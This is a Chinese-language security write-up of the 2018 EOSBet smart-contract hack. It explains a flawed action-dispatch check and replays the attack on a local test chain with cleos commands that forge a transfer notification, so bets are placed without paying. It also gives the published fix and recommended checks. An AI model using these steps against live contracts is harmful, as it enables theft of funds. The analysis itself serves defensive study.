文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis8 o6 y) G' Q5 B
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。# u1 l' ^2 h9 ?% r, C7 r/ y2 I+ [
- Q' p; m# {" e) T; G0 x8 R7 F
0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers$ Z+ i$ H( N u4 d4 Q8 t2 K
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \: y4 G- o& ~- ?0 h5 B
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \! ^: a$ q6 u d* D6 W; j: a3 Z$ A
auto self = receiver; \2 Y1 f! S) G8 _( `) s" C& J. L
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \' X1 m! ~ D7 L/ O: i
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \8 X9 V+ p# _# u7 r$ t5 t- S1 n7 _
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \; I9 a" g+ T4 y5 Y3 |; f
TYPE thiscontract( self ); \
switch( action ) { \! w8 |6 w; k; q( m6 A( u. N: ]
EOSIO_API( TYPE, MEMBERS ) \' p( s% P. w. k) J; J! y
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \' v6 o3 Q) Z2 ^
} \
}
通过官方给出的EOSIO_ABI,问题主要出在以下代码& w% I* i5 Q' j; H: o
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \; K6 r5 Z) E, U; x
switch( action ) { \, T8 @/ S1 m0 k3 d
EOSIO_API( TYPE, MEMBERS ) \7 E2 y) p% F3 U* v) p
} \
}4 J. c, f+ }1 `- B' D# N2 {
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。. F2 S; ^+ h0 ~$ m+ k+ u
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。3 |, a: V* \8 V& a
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0x02 攻击复盘) j& r. t) g) c
创建eosio.token账户! J& e6 t0 k' o. V
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV. w$ f* f& `! P9 D
部署eosio.token合约并初始化8 P1 J/ `& U" d; R, p
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio- J: b2 H8 l' c0 Q0 b$ l
# 初始化合约
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
创建游戏账户、开奖账户和攻击者账户6 `) Q1 E4 Y h+ X6 U' ?
#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
#创建攻击者账户
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
设置账户随机权限和开奖权限+ B% I; h4 N% m' q
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner1 v. N) q. t& L6 a: g
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
向相关账户冲入代币7 |$ M* a' x6 j
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active; A0 Y( f: q* U
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active

部署游戏合约并初始化
#部署游戏合约, ?3 D+ ]' m( @' u9 I: j( X
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice# a; @4 \. G' A; C
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino, A% a( v0 ~. y" Z
模拟黑客攻击(伪造转账通知)
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单) B D0 ~" Q2 {# @0 x* p0 K
cleos get table eosbetdice11 eosbetdice11 activebets
1 ^$ d/ B3 Z) L1 f( T9 A1 p0 R
可见,游戏订单已经生成,查询attacker和eosbetdice11账户5 j$ k e3 Q: r" p2 F
# l$ Z! e! _; e- a) i S/ a
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random& ^/ k: F4 @9 A; p; g( L( `4 D
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。! O8 o8 w+ r& j' \( i" @+ `
0x03 后记; Y( J- p u; S0 s' {; [
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \8 n. ]3 k. t8 T( p
extern "C" { \, x. h9 |7 |* h& Q% @
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \& [2 h' |% h$ N' g; x4 ~! {
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \$ {4 X) G) l2 Z! l% \
// 必须是eosio.token来调用合约自身的transfer函数
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \" ~1 k: |6 a1 |" w0 q
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \ ~3 X% L6 ^7 m, a9 K+ N5 i* u
} \0 F* X+ Q4 s; {
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \' F5 D$ L' g- y! w# s2 D y
} \
}/ ?* X# E3 A. j! Z3 [0 w9 \
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D( a8 Z/ u1 ~0 b9 V& y
0x04 修复方案
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:
$ u2 J+ Y+ N7 g! i/ z, |# M
通知是否来自eosio.token,即只处理eosio.token发送的通知
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");# B0 E& s# A. @$ M D/ i7 H
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");